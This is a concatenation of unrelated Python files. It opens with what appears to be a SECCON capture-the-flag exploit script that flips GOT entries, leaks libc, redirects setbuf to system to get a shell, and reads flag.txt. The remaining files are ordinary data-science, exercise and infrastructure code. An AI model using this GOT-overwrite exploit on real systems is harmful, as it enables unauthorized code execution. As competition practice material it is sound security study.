env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = default_target, \
                        monitor = {'host':os.environ['SECCON_HOST'] if 'SECCON_HOST' in os.environ else default_target['host'], \
                                   'port':int(os.environ['SECCON_PORT']) if 'SECCON_PORT' in os.environ else default_target['port']})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc-2.27.so', \
                        monitor = 'libc-2.27.so')
env.select('monitor')

#==========

binf = ELF(bin_file)
addr_got_exit       = binf.got['exit']
addr_got_stack_chk  = binf.got['__stack_chk_fail']
addr_got_setbuf     = binf.got['setbuf']
addr_plt_exit       = binf.plt['exit']
addr_plt_stack_chk  = binf.plt['__stack_chk_fail']
addr_start          = binf.sep_function['_start']
addr_main           = binf.sep_function['main']
addr_stderr         = binf.symbols['stderr']

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_setbuf      = libc.sep_function['setbuf']
offset_libc_puts        = libc.sep_function['puts']
offset_libc_stderr      = libc.symbols['_IO_2_1_stderr_']

#==========

def attack(conn, **kwargs):
    flip_byte(conn, addr_got_exit, ((addr_plt_exit+6) ^ (addr_start+6)) & 0xff)
    flip_byte(conn, addr_got_exit, 6)

    flip_qword(conn, addr_got_stack_chk, (addr_plt_stack_chk+6) ^ addr_main)

    flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)

    flip_byte(conn, addr_stderr, 8)
    flip_qword(conn, addr_got_setbuf, offset_libc_setbuf ^ offset_libc_puts)

    flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)

    conn.recvuntil('\n')
    conn.recvuntil('\n')
    addr_libc_stderr = u(conn.recvuntil('\n', drop=True)) - 0x83
    libc.address = addr_libc_stderr - offset_libc_stderr
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))
    addr_libc_puts      = libc.sep_function['puts']
    addr_libc_system    = libc.sep_function['system']
    addr_libc_str_sh    = next(libc.search(b'/bin/sh'))

    flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)

    flip_qword(conn, addr_got_setbuf, addr_libc_puts ^ addr_libc_system)
    flip_qword(conn, addr_stderr, (addr_libc_stderr+8) ^ addr_libc_str_sh)

    flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)

def flip_byte(conn, addr, flips):
    assert(flips < 0x100)

    conn.sendlineafter('address >> ', str(addr))

    n_flip = 0
    for i in range(8):
        if (flips >> i) & 1:
            conn.sendlineafter(') >> ', str(i))
            n_flip += 1
            flips ^= 1 << i
        if n_flip > 1:
            break

    if flips:
        flip_byte(conn, addr, flips)
    elif n_flip < 2:
        conn.sendlineafter(') >> ', '-1')

def flip_qword(conn, addr, flips):
    for i in range(8):
        if flips & 0xff:
            flip_byte(conn, addr + i, flips & 0xff)
        flips >>= 8

def getflag(conn, **kwargs):
    sleep(0.1)
    conn.sendline('exec 2>&1')
    sleep(0.1)
    conn.sendline('echo FLAG_HERE; cat flag.txt')
    conn.recvuntil('FLAG_HERE\n')
    print('FLAG : {}'.format(conn.recvuntil('\n', drop=True)))

#==========

def main():
    comn = Communicate(env.mode, **env.target)
    comn.connect()
    comn.bruteforce(attack)

    if env.check('monitor'):
        comn.run(getflag)
    else:
        comn.interactive()

if __name__=='__main__':
    main()

#==========


'''
This module contains methods for importing Vegetation Indices data
from Google Earth Engine. The VIs are calculated from MODIS BRDF
corrected product to reduce the influence of illumination and observation
geometries. NDVI and EVI are retrieved from the 8 regions of interest.

Before calling any of the methods, make sure to authenticate with earth
engine. See: https://developers.google.com/earth-engine/guides/python_install#authentication # noqa
for more details.
'''

import ee
import pandas as pd
from drought.data.aggregator import make_monthly_composite
from drought.data.ee_converter import get_region_as_df

VI_COLUMNS = ['ndvi', 'evi']

def get_monthly_vi_data_as_pdf(start_date: ee.Date, end_date: ee.Date,
                               geoms: list[ee.Geometry], scale: int) \
        -> pd.DataFrame:
    ''' Returns Pandas DataFrame that combines all Vegetation indexes data. '''
    # Get monthly vi data as ee.ImageCollection.
    vi_monthly = get_monthly_vi_data(start_date, end_date)

    # Convert the data to pandas DataFrame.
    all_polygons_pdfs = []
    for i in range(len(geoms)):
        pdf = get_region_as_df(
            vi_monthly, geoms[i], scale, VI_COLUMNS)
        pdf["polygon_id"] = i + 1
        all_polygons_pdfs.append(pdf)

    return pd.concat(all_polygons_pdfs)

def get_monthly_vi_data(start_date: ee.Date, end_date: ee.Date):
    ''' Calculate Vegetatio indexes (NDVI and EVI) based on
    the BRDF Nadir-ajusted daily reflectance
    product (MODIS MCD43A4.061). Data is masked based on land use
    by NASA (MCD12Q1.061) for the year of 2021
    '''

    def calculate_ndvi(img: ee.Image) -> ee.Image:
        ndvi = img.normalizedDifference(['Nadir_Reflectance_Band2',
                                         'Nadir_Reflectance_Band1'])

        return img.addBands(ndvi.rename('ndvi'))

    def calculate_evi(img: ee.Image) -> ee.Image:
        evi = img.expression(
                             '2.5 * ((nir - red) / \
                             (nir + 6 * red - 7.5 * blue + 1))',
                             {'red': img.select('Nadir_Reflectance_Band1'),
                              'nir': img.select('Nadir_Reflectance_Band2'),
                              'blue': img.select('Nadir_Reflectance_Band3')})
        return img.addBands(evi.rename('evi'))

    def mask_bands(img: ee.Image) -> ee.Image:
        ''' Filters the reflectance product (MODIS MCD43A4.061) based on
        the land-use classification produced by NASA.
        For more information refer to https://developers.google.com/earth-
        engine/datasets/catalog/MODIS_061_MCD12Q1#bands
        '''
        land_use = ee.ImageCollection('MODIS/061/MCD12Q1') \
                     .filterDate('2021-01-01', '2021-02-01') \
                     .first() \
                     .select('LC_Type1')

        land_mask = land_use.eq(2)  # Pixels classified as forest

        return img.updateMask(land_mask)

    veg_idx = ee.ImageCollection('MODIS/061/MCD43A4') \
                .select('Nadir_Reflectance_Band1',
                        'Nadir_Reflectance_Band2',
                        'Nadir_Reflectance_Band3') \
                .filterDate(start_date, end_date) \
                .map(calculate_ndvi) \
                .map(calculate_evi)

    # Since the dataset gives us the best pixel from a 16 days composite,
    # we need to average values per month to obtain monthly VI's.
    return make_monthly_composite(veg_idx.select(['ndvi', 'evi']),
                                  lambda x: x.median(),
                                  start_date, end_date)


'''teste = list()
teste.append('Danilo')
teste.append(26)
galera = list()
galera.append(teste[:])
teste[0] = 'Maria'
teste[1] = 22
galera.append(teste[:])
print(galera)'''

'''galera = [['Jão', 19], ['Ana', 33], ['Joaquim', 13], ['Maria', 45]]
#print(galera[2][0])
for p in galera:
    print(f'{p[0]} tem {p[1]} anos de idade')'''

galera = list()
dados = list()
totalmaior = totamenor = 0
for c in range(0,3):
    dados.append(str(input('Nome: ')).strip())
    dados.append(int(input('Idade: ')))
    galera.append(dados[:])
    dados.clear()
for p in galera:
    if p[1] >= 21:
        print(f'{p[0]} é maior de idade')
        totalmaior += 1
    else:
        print(f'{p[0]} é menor de idade.')
        totamenor += 1
print(f'Temos {totalmaior} maiores e {totamenor} menor de idade')


import torch
import numpy as np
import matplotlib.pyplot as plt

# set up matplotlib
plt.ion()

# Helper function to plot duration of episodes and an average over the last 100 iterations
def plot_variables(fig, plot_var, title):
    fig, ax1, ax2 = fig
    durations_t = torch.tensor(plot_var['durations'], dtype=torch.float)
    rewards_t = torch.tensor(plot_var['rewards'], dtype=torch.float)

    fig.suptitle(title)
    ax1.set_xlabel('Episode')
    ax1.set_ylabel('Duration')
    ax2.set_xlabel('Episode')
    ax2.set_ylabel('Reward')
    ax1.plot(durations_t.numpy(), 'bo')
    ax2.plot(rewards_t.numpy(), 'bo')

    # Take 100 episode averages and plot them too
    if len(durations_t) >= 50:
        means = durations_t.unfold(0, 50, 1).mean(1).view(-1)
        means = torch.cat((torch.zeros(49), means))
        ax1.plot(means.numpy(), 'r')
        means = rewards_t.unfold(0, 50, 1).mean(1).view(-1)
        means = torch.cat((torch.zeros(49), means))
        ax2.plot(means.numpy(), 'r')

    plt.pause(0.001)    # Small pause to update plots


import numpy as np
import xgboost as xgb

dtrain=xgb.DMatrix(r'C:\Users\mashiji\Desktop\agaricus.txt.train')
dtest=xgb.DMatrix(r'C:\Users\mashiji\Desktop\agaricus.txt.test')
watchlist=[(dtest,'eval'),(dtrain,'train')]

param={'max_depth':2,'eta':1,'silent':1,'objective':'binary:logistic'}
bst=xgb.train(param,dtrain,1,watchlist)
ptrain=bst.predict(dtrain,output_margin=True)
ptest=bst.predict(dtest,output_margin=True)
dtrain.set_base_margin(ptrain)
dtest.set_base_margin(ptest)

import xgboost as xgb
dtrain=xgb.DMatrix(r'C:\Users\mashiji\Desktop\agaricus.txt.train')
dtest=xgb.DMatrix(r'C:\Users\mashiji\Desktop\agaricus.txt.test')
param=[('max_depth',2),('objective','binary:logistic'),('eval_metric','logloss'),('eval_metric','error')]
num_round=2
watchlist=[(dtest,'eval'),(dtrain,'train')]

evals_result = {}
bst = xgb.train(param, dtrain, num_round, watchlist, evals_result=evals_result)
print('Access logloss metric directly from evals_result:')
print(evals_result['eval']['logloss'])

print('')
print('Access metrics through a loop:')
for e_name, e_mtrs in evals_result.items():
    print('- {}'.format(e_name))
    for e_mtr_name, e_mtr_vals in e_mtrs.items():
        print('   - {}'.format(e_mtr_name))
        print('      - {}'.format(e_mtr_vals))

print('')
print('Access complete dictionary:')
print(evals_result)


def arithmetic_arranger(problems, sumprint=False):
    #Initial Declarations
    line1 = ''
    line2 = ''
    str_sum = ''
    total = ''
    linesp = ''

    # Rule #1
    if len(problems) > 5:
        return "Error: Too many problems."

    for p in problems:
        r = p.split()
        # Rule #3
        if r[0].isnumeric() == False or r[2].isnumeric() == False:

            return "Error: Numbers must only contain digits."
        # Rule #4
        if len(r[0]) >4 or len(r[2]) > 4:
            #print(r[0], r[2])
            return "Error: Numbers cannot be more than four digits."

        # Rule #2
        if r[1] == '+' or r[1] == '-':
            if r[1] == '+':
                sums = str(int(r[0]) + int(r[2]))
            else:
                sums = str(int(r[0]) - int(r[2]))
            numlen = max(len(r[0]), len(r[2])) + 2
            ltop = str(r[0]).rjust(numlen)
            lbottom = r[1] + r[2].rjust(numlen-1)
            line = ''
            total = str(sums).rjust(numlen)
            line = '-'*numlen
            # Build Individual line strings
            if p != problems[-1]:

                line1 += ltop + '    '
                line2 += lbottom + '    '
                linesp += line + '    '
                str_sum += total + '    '
            else:
                line1 += ltop
                line2 += lbottom
                linesp += line
                str_sum += total

        else:
            return "Error: Operator must be '+' or '-'."
    line1.rstrip()
    line2.rstrip()
    linesp.rstrip()
    arranged_problems = ''
    # Generate final output string - Conditionally add sum/diff.
    if sumprint == True:
        str_sum.rstrip()
        arranged_problems = line1 + '\n' + line2 +'\n' + linesp + '\n' + str_sum
    else:
        arranged_problems = line1 + '\n' + line2 +'\n' + linesp
    return arranged_problems


'''
Reference:
	Samuel Oliveira, Victor Diniz, Anisio Lacerda, and Gisele L Pappa. 2016. Evolu-tionary rank aggregation for recommender systems.
	IEEE Congress on Evolutionary Computation (CEC). IEEE, 255–262.
'''
import torch
from torch import nn
import torch.nn.functional as F
from modules.attention import *
from modules import layers
from models import BaseModel
from utils import utils

class ERA(BaseModel.GeneralShuffleModel):
	reader, runner ="BaseReader", "BaseRunner"
	extra_log_args = ['hidden_sizes']

	@staticmethod
	def parse_model_args(parser):
		parser.add_argument('--window_size',type=int,default=10,help='mAgr Window size.')
		parser.add_argument('--hidden_sizes',type=str,default='16')
		return BaseModel.GeneralShuffleModel.parse_model_args(parser)

	def __init__(self,args,corpus):
		super().__init__(args,corpus)
		self.model_num = args.model_num
		self.window_size = args.window_size
		n_features = 5
		hidden_sizes = [int(x) for x in args.hidden_sizes.split(",")]
		self.hidden_sizes = [n_features]+hidden_sizes
		self.mlp = nn.Sequential()
		for i in range(len(self.hidden_sizes)-1):
			self.mlp.add_module('Linear-%d'%(i),
					nn.Linear(self.hidden_sizes[i],self.hidden_sizes[i+1]))
			self.mlp.add_module('Activate-%d'%(i),nn.ReLU())
		self.mlp.add_module('Linear-%d'%(len(self.hidden_sizes)-1),
					nn.Linear(self.hidden_sizes[-1],1))

	def forward(self, data):
		features = [data['p10'],data['mAgr']]
		for m in range(self.model_num):
			features.append(data['psc_%d'%(m)])
		features = torch.stack(features,dim=2).float()
		ens_scores = self.mlp(features).squeeze()
		return ens_scores

	class Dataset(BaseModel.GeneralShuffleModel.Dataset):

		def __init__(self, model, corpus, phase):
			super().__init__(model,corpus,phase)
			self.window_size = model.window_size

		def _get_feed_dict(self, index):
			feed_dict = super()._get_feed_dict(index)
			all_rankings = []
			for i, key in enumerate(['c_pCTR_s','c_pCVR_s','c_pFVR_s']):
				ranked_idx = np.argsort(feed_dict[key])[::-1]
				rankings = np.argsort(ranked_idx) + 1 # larger score, smaller ranking
				psc = 1- (rankings-1)/len(rankings)
				feed_dict['psc_%d'%(i)] = psc
				all_rankings.append(rankings)
			all_rankings = np.array(all_rankings)
			feed_dict['p10'] = (all_rankings<=10).sum(axis=0)
			feed_dict['mAgr'] = 1/2 * (np.abs(all_rankings[1]-all_rankings[0])<=self.window_size)

			return feed_dict


#!/usr/bin/env python
import math

gestureType = ['none', 'raiseHand', 'YEAH', 'think','armsCrossed','pray', 'hand' ]

class Metascene(object):
    def __init__(self):
        super(Metascene, self).__init__()
        self.subjects = []
        self.environment = Environment()

    def findIndexSubject(self, trackingId):
        for i,x in enumerate(self.subjects):
            if x.trackingId == trackingId:
                return i

    def __str__(self):
        return str(self.__class__) + ": " + str(self.__dict__)

class Subject(object):
    def __init__(self, data):
        super(Subject, self).__init__()
        self.id = 0
        self.name = ""
        self.trackingId = data["TrackingId"] if data is not None else 0
        self.clippedEdges = data["ClippedEdges"] if data is not None else 0
        self.handRightConfidence = data["HandRightConfidence"] if data is not None else 0
        self.handRightState= data["HandRightState"] if data is not None else 0
        self.handLeftConfidence= data["HandLeftConfidence"] if data is not None else 0
        self.handLeftState= data["HandLeftState"] if data is not None else 0
        self.headPosition=data["Joints"]["Head"]["Position"] if data is not None else {"X":0, "Y":0,"Z": 0}

        self.angle = round((math.atan((self.headPosition["X"] / self.headPosition["Z"])) * (180 / (math.pi))), 2) if data is not None else None
        self.speak_prob = 0
        self.gesture = gestureType[0]
        self.faceAnalysis =None

    def update(self, data):
        self.clippedEdges = data["ClippedEdges"]
        self.handRightConfidence = data["HandRightConfidence"]
        self.handRightState= data["HandRightState"]
        self.handLeftConfidence= data["HandLeftConfidence"]
        self.handLeftState= data["HandLeftState"]

    def setSpeakProb(self, soundAngle):
        if self.angle is not None and soundAngle is not None:
            self.speak_prob = math.fabs(math.fabs(self.angle - soundAngle) - 70) / 70;

    def __eq__(self, other):
        """To implement 'in' operator"""
        # Comparing with another Test object
        if isinstance(other, Subject):
            return self.trackingId == other.trackingId

    def __str__(self):
        return str(self.__class__) + ": " + str(self.__dict__)

class FaceAnalysis(object):
    def __init__(self, data):
        super(FaceAnalysis, self).__init__()
        self.age = data["Age"]
        self.ageDeviation = data["Age_deviation"]
        self.gender = data["Gender"]
        self.uptime =  data["Uptime"]
        self.happinessRatio=data["Happiness_ratio"]
        self.surpriseRatio= data["Surprise_ratio"]
        self.angerRatio=data["Anger_ratio"]
        self.sadnessRatio= data["Sadness_ratio"]

    def update(self, data):
        self.age = data["Age"]
        self.ageDeviation = data["Age_deviation"]
        self.gender = data["Gender"]
        self.uptime =  data["Uptime"]
        self.happinessRatio=data["Happiness_ratio"]
        self.surpriseRatio= data["Surprise_ratio"]
        self.angerRatio=data["Anger_ratio"]
        self.sadnessRatio= data["Sadness_ratio"]

    def __str__(self):
        return str(self.__class__) + ": " + str(self.__dict__)

class Environment(object):
    def __init__(self):
        super(Environment, self).__init__()
        self.soundAngle=None
        self.soundEstimatedX = None
        self.recognizedWord = None
        self.numberSubject = 0
        self.soundDecibel = 0
        self.saliency =[]

    def __str__(self):
        return str(self.__class__) + ": " + str(self.__dict__)


def maxProduct(s: str) -> int:
    N, pali = len(s), {}

    for mask in range(1, 1 << N):
        subseq = ""
        for i in range(N):
            if mask & (1 << i):
                subseq += s[i]

        if subseq == subseq[::-1]:
            pali[mask] = len(subseq)
    res = 0

    for mask1 in pali:
        for mask2 in pali:
            if mask1 & mask2 == 0:
                res = max(res, pali[mask1] * pali[mask2])

    return res

print(maxProduct("leetcodecom"))

Arrays/Maximum Product of the Length of Two Palindromic Subsequences.py


from transformers import BertTokenizer, BertForSequenceClassification
from transformers import AutoTokenizer, AutoModelForSequenceClassification
from transformers import pipeline
from sklearn import preprocessing
import torch
class classify():
    '''
    This function contanins all the classifiers used in the sentiment analysis pipeline
    bert_classifier = The FinBERT classifier lablled BERT1 in the accompanying analysis
    bert_classifier_2 = The FinBERT classifier lablled BERT2 in the accompanying analysis
    roberta_classifier = The RoBERTa classifier lablled RoBERTa in the accompanying analysis

    This function applies the specified classifier on text data
    This is used to classify the text data obtained after the pre-processing steps labelled 'text_clean'
    '''
    def bert_classifier(self, text):
        '''
        More details about the classifier are available at: https://huggingface.co/yiyanghkust/finbert-tone
        '''
        finbert = BertForSequenceClassification.from_pretrained('yiyanghkust/finbert-tone',num_labels=3, from_tf=True)
        tokenizer = BertTokenizer.from_pretrained('yiyanghkust/finbert-tone')
        nlp = pipeline("sentiment-analysis", model=finbert, tokenizer=tokenizer)

        sentences = text
        results = nlp(sentences)
        return results

    def bert_classifier_2(self, text):
        '''
        More details about the classifier are available at: https://huggingface.co/ProsusAI/finbert
        '''
        tokenizer = AutoTokenizer.from_pretrained("ProsusAI/finbert")
        model = AutoModelForSequenceClassification.from_pretrained("ProsusAI/finbert")

        inputs = tokenizer(text, padding = True, truncation = True, return_tensors='pt')
        outputs = model(**inputs)
        predictions = torch.nn.functional.softmax(outputs.logits, dim=-1)
        return predictions

    def roberta_classifier(self, text):
        '''
        More details about the classifier are available at: https://huggingface.co/mrm8488/distilroberta-finetuned-financial-news-sentiment-analysis
        '''
        tokenizer = AutoTokenizer.from_pretrained("mrm8488/distilroberta-finetuned-financial-news-sentiment-analysis")
        model = AutoModelForSequenceClassification.from_pretrained("mrm8488/distilroberta-finetuned-financial-news-sentiment-analysis")

        inputs = tokenizer(text, padding=True, truncation=True, return_tensors="pt")
        outputs = model(**inputs)
        predictions = outputs.logits.detach().numpy()
        min_max_scaler = preprocessing.MinMaxScaler()
        predictions = min_max_scaler.fit_transform(predictions)
        return predictions


from deploy_nifi import rq, prop, logging, sys
from connect_nifi_processors import get_processor_group_ports

def data_storage_disable_processor(processor_group_name, data_storage_type):
    disable_processor_name = ""
    if data_storage_type == "s3":
        disable_processor_name = "data_storage_ListFile"
    elif data_storage_type == "local":
        disable_processor_name = "s3_list_emission"

    # disable the nifi processor
    nifi_enable_disable_processor(processor_group_name, disable_processor_name,"DISABLED")

def nifi_enable_disable_processor(processor_group_name, processor_name,state):

    pg_source = get_processor_group_ports(processor_group_name)
    if pg_source.status_code == 200:
        for i in pg_source.json()['processGroupFlow']['flow']['processors']:
            if i['component']['name'] == processor_name:
                disable_body = {"revision": {"clientId": "python deployment code", "version": i['revision']['version']},
                                "state": state, "disconnectedNodeAcknowledged": False}
                disable_response = rq.put(
                    f"{prop.NIFI_IP}:{prop.NIFI_PORT}/nifi-api/processors/{i['component']['id']}/run-status", json=disable_body, headers=header)
                if disable_response.status_code == 200:
                    if state=="STOPPED":
                        state="ENABLED"
                        logging.info(
                            f"Successfuly {state} {i['component']['name']} processor in {processor_group_name} processor group")
                        return True
                else:
                    return disable_response.text

def diksha_enable_disable_processor(processor_group_name, storage_type, dataset, emission_method):
    # ETB
    if dataset == "etb":
        if emission_method == "emission":
            disable_processor = ['diksha_api_summary_rollup_get_today_request']
            enable_processor =[]
            if storage_type == 'local':
                disable_processor.append("s3_list_emission_ETB")
                enable_processor.append("diksha_ListFile_ETB")

                for i in disable_processor:
                    # disable the nifi processor
                    nifi_enable_disable_processor(processor_group_name, i,"DISABLED")
                for i in enable_processor:
                    # enable the nifi processor
                    nifi_enable_disable_processor(processor_group_name, i,"STOPPED")

            elif storage_type == 's3':
                disable_processor.append("diksha_ListFile_ETB")
                enable_processor.append("s3_list_emission_ETB")

            for i in disable_processor:
                # disable the nifi processor
                nifi_enable_disable_processor(processor_group_name, i,"DISABLED")
            for i in enable_processor:
                    # enable the nifi processor
                    nifi_enable_disable_processor(processor_group_name, i,"STOPPED")

        elif emission_method == "api":
            # add the lists3,listfile processors
            disable_processor = ['diksha_ListFile_ETB', 's3_list_emission_ETB']
            enable_processor=["diksha_api_summary_rollup_get_today_request"]
            for i in disable_processor:
                # disable the nifi processor
                nifi_enable_disable_processor(processor_group_name, i,"DISABLED")
            for i in enable_processor:
                # enable the nifi processor
                nifi_enable_disable_processor(processor_group_name, i,"STOPPED")

    # TPD
    if dataset == "tpd":
        if emission_method == "emission":
            disable_processor = ['diksha_api_progress_exhaust_get_today_request']
            enable_processor =[]
            if storage_type == 'local':
                disable_processor.append("s3_list_emission_TPD")
                enable_processor.append("diksha_ListFile_TPD")

                for i in disable_processor:
                    # disable the nifi processor
                    nifi_enable_disable_processor(processor_group_name, i,"DISABLED")
                for i in enable_processor:
                    # enable the nifi processor
                    nifi_enable_disable_processor(processor_group_name, i,"STOPPED")

            elif storage_type == 's3':
                disable_processor.append("diksha_ListFile_TPD")
                enable_processor.append("s3_list_emission_TPD")

            for i in disable_processor:
                # disable the nifi processor
                nifi_enable_disable_processor(processor_group_name, i,"DISABLED")
            for i in enable_processor:
                    # enable the nifi processor
                    nifi_enable_disable_processor(processor_group_name, i,"STOPPED")

        elif emission_method == "api":
            # add the lists3,listfile processors
            disable_processor = ['diksha_ListFile_TPD', 's3_list_emission_TPD']
            enable_processor=["diksha_api_progress_exhaust_get_today_request"]
            for i in disable_processor:
                # disable the nifi processor
                nifi_enable_disable_processor(processor_group_name, i,"DISABLED")
            for i in enable_processor:
                # enable the nifi processor
                nifi_enable_disable_processor(processor_group_name, i,"STOPPED")

# Main.
if __name__ == "__main__":
    """[summary]
    sys arguments = 1.Processor group name. 2.Data storage type
    Disables the processor based on data storage type
    Ex: python nifi_disable_processor.py student_attendance_transformer s3
    """
    header = {"Content-Type": "application/json"}
    print("length=", len(sys.argv))
    if len(sys.argv) <= 3:

        processor_group_name = sys.argv[1]
        data_storage_type = sys.argv[2]
        # disable processor based on data storage type.
        data_storage_disable_processor(processor_group_name, data_storage_type)

    elif len(sys.argv) > 4:
        processor_group_name = sys.argv[1]
        storage_type = sys.argv[2]
        dataset = sys.argv[3]
        emission_method = sys.argv[4]
        # disable processor based on emission method.
        diksha_enable_disable_processor(processor_group_name.lower(), storage_type.lower(), dataset.lower(), emission_method.lower())


#!/usr/bin/env python

import __builtin__
import logging
import mock
import sys

level = logging.INFO
# level = logging.DEBUG
logging.basicConfig(level=level)
logger = logging.getLogger(__name__)

orig_open = __builtin__.open

def setup(**kwargs):
    install_requires = kwargs.get('install_requires')
    logger.debug('install_requires = %r' % install_requires)

    for req in install_requires:
        if '==' in req:
            sys.stderr.write(
                'WARNING: exact pin: %r\n' % req)

def open(name, **kwargs):
    logger.debug('open: %s', name)

    if 'requirements' in name:
        sys.stderr.write(
            'WARNING: reads %r - looks like a requirements file?\n'
            % name)
        sys.stderr.write(
            '  You might want to look at '
            'https://caremad.io/2013/07/setup-vs-requirement/\n')

    return orig_open(name, **kwargs)

def setuppycheck(argv=None):
    if argv is None:
        argv = sys.argv[1:]

    for setuppy in argv:
        with mock.patch('setuptools.setup', side_effect=setup):
            with mock.patch('__builtin__.open', side_effect=open):
                execfile(setuppy, globals())

if __name__ == '__main__':
    setuppycheck()


import json
import logging
from abc import abstractmethod

import attr
import gevent

from metadata.backend.interface import RawBackendType
from metadata.event_system.register import EventType
from metadata.middleware.rabbitmq import ExchangeType, RabbitMQProducer
from metadata.runtime import rt_context
from metadata.type_system.core import MetaData
from metadata.util.common import StrictABCMeta, camel_to_snake
from metadata_biz.types import default_registry

module_logger = logging.getLogger(__name__)
listener_registry = {}
"""
监听者注册表
"""

def listener_registrar(cls):
    """
    监听者注册装饰器

    :param cls: 监听者类
    :return: boolean True
    """
    listener_name = cls.name if cls.name else camel_to_snake(cls.__name__)
    if listener_name not in listener_registry:
        listener_registry[listener_name] = cls
    return cls

def listener_dispatcher(target_listener, message_dict):
    """
    监听者调度器

    :param target_listener: list 目标监听者列表
    :param message_dict: dict 传输内容
    :return: None
    """
    event_processed = False
    try:
        with gevent.Timeout(0.5, exception=False):
            for listener_name in target_listener:
                listener_cls = listener_registry[listener_name] if listener_name in listener_registry else None
                listener = listener_cls(message_dict)
                if listener and listener.followed_events and listener.check_event():
                    listener.publish_event()
                    break
            event_processed = True
    except Exception as le:
        # Todo: 暂时仅告警，后续补上记录和补录的步骤
        module_logger.warning('[Event_system] event dispatch failed: {}'.format(le))
    finally:
        module_logger.info('[Event_system] event process state: {}'.format(event_processed))

class ListenerPrototype(object, metaclass=StrictABCMeta):
    __abstract__ = True
    followed_events = []

    def __init__(self):
        """
        监听者根据实际情况设置关注事件列表
        """
        self.db_conf = rt_context.config_collection.db_config
        self.follow_registered_event()

    @abstractmethod
    def follow_registered_event(self):
        """
        监听者注册关注的事件列表
        :return:
        """
        return

    @abstractmethod
    def check_event(self, *args, **kwargs):
        """
        检查是否满足触发事件的条件
        :param args:
        :param kwargs:
        :return:
        """
        return

    @abstractmethod
    def publish_event(self):
        """
        触发事件发布消息
        :return:
        """
        return

@listener_registrar
class DgraphMutationListener(ListenerPrototype):
    """
    Dgraph元数据变更事件监听者
    """

    name = 'dgraph_mutation_listener'

    def __init__(self, message_dict):
        """
        对<dgraph主集群>的元数据变更进行监听

        :param message_dict: dict 监听内容
        """

        self.logger = module_logger
        self.captured_event = None
        self.message_dict = message_dict
        backend_type = message_dict.get('target', {}).get('type')
        backend_id = message_dict.get('target', {}).get('id')
        master_id = None
        try:
            system_state = getattr(rt_context, str('system_state'), {})
            master_id = system_state.cache['backends_ha_state'][backend_type]['master']['id']
        except Exception as e:
            self.logger.warning('[backends_ha_state is not existed in zk cache] {}'.format(e))
        if backend_type == RawBackendType.DGRAPH.value:
            if backend_id and backend_id == master_id:
                super(DgraphMutationListener, self).__init__()

    @staticmethod
    def get_md_cls(type_name):
        if type_name:
            return default_registry.get(type_name, None)
        return None

    @staticmethod
    def _get_unicode_value(val):
        """
        获取unicode字符返回

        :param val: 输入
        :return: unicode输出
        """
        if not val:
            return ''
        if isinstance(val, str):
            return val
        try:
            ret_val = str(val)
        except Exception as e:
            module_logger.warning('[get unicode val failed] {}'.format(e))
            ret_val = val
        return ret_val

    def standardize_data(self, mutate_record, mutate_result):
        """
        标准化变更前数据和变更后数据

        :param mutate_record: 变更记录
        :param mutate_result: 变更结果
        :return: tuple (变更前数据dict, 变更后数据dict)
        """
        origin_data_ret = mutate_result.get('data', {}).get('queries', {}).get('get_subject_info', [])
        origin_data_ret = origin_data_ret.pop(0) if origin_data_ret else dict()
        origin_data = {
            key.replace('{}.'.format(mutate_record.type_name), ''): self._get_unicode_value(val)
            for key, val in list(origin_data_ret.items())
            if key.startswith(mutate_record.type_name)
        }
        changed_data = json.loads(getattr(mutate_record, 'changed_data', '{}'))
        changed_data = {
            key: self._get_unicode_value(val)
            for key, val in list(changed_data.items())
            if key not in ('created_at', 'updated_at', 'typed')
        }
        return origin_data, changed_data

    def follow_registered_event(self):
        """
        关注元数据变更类型的已注册事件
        :return:
        """
        self.followed_events = rt_context.event_list.get(EventType.MUTATION.value, None)

    def check_event(self, *args, **kwargs):
        """
        检查事件是否触发

        :return: boolean True/False
        """

        dispatch_id = self.message_dict.get('dispatch_id', None)
        mutate_result = self.message_dict.get('result', {})
        mutate_record = self.message_dict.get('record', {})
        md_cls = self.get_md_cls(mutate_record.type_name)
        md_mapping = {attr_def.name: attr_def for attr_def in attr.fields(md_cls)}
        method = mutate_record.method
        identifier_key = md_cls.metadata['identifier'].name if md_cls else None
        identifier_value = mutate_record.identifier_value
        extra = mutate_record.extra_
        origin_data, changed_data = self.standardize_data(mutate_record, mutate_result)
        if identifier_key not in origin_data:
            origin_data[identifier_key] = identifier_value
        differ = {
            key: {'b': origin_data.get(key, None), 'a': changed_data[key]}
            for key in list(changed_data.keys())
            if changed_data[key] != origin_data.get(key, None)
        }
        if identifier_key not in differ:
            differ[identifier_key] = dict()
        event_info = dict(
            dispatch_id=dispatch_id,
            md_name=md_cls.__name__,
            identifier_key=identifier_key,
            identifier_value=identifier_value,
            triggered_by=extra.get('updated_by', ''),
            triggered_at=extra.get('updated_at', ''),
            origin_data=origin_data,
            changed_data=changed_data,
            differ=differ,
        )
        # 主键需要第一个检查
        check_list = [check_key for check_key in list(differ.keys()) if check_key != identifier_key]
        check_list.insert(0, identifier_key)
        for pred_name in check_list:
            attr_def = md_mapping.get(pred_name, None)
            if not attr_def:
                continue
            is_link = True if issubclass(attr_def.type, MetaData) else False
            is_identifier = True if identifier_key == pred_name else False
            capture_types = getattr(attr_def, 'metadata', {}).get('event', [])
            if not capture_types:
                continue
            scope_dict = dict(
                name=attr_def.name,
                method=method,
                capture_types=capture_types,
                is_identifier=is_identifier,
                is_foreignkey=True if is_link and not is_identifier else False,
            )
            # 检查捕获到的事件, 因各事件之间互斥，检测到一个即可
            for event_name, event_cls in list(self.followed_events.items()):
                if event_cls.in_scope(scope_dict):
                    self.captured_event = event_cls(event_info)
                    return True
        return False

    def publish_event(self):
        """
        发布事件

        :return: None
        """

        event_message = self.captured_event.gen_message()
        producer = RabbitMQProducer(
            conn_addr=self.db_conf.RABBITMQ_ADDR,
            exchange_name='meta_event_system',
            exchange_type=ExchangeType.TOPIC.value,
            routing_key='{}.{}'.format(self.captured_event.namespace, self.captured_event.event_type),
        )
        producer.publish(event_message)
        producer.release()

@listener_registrar
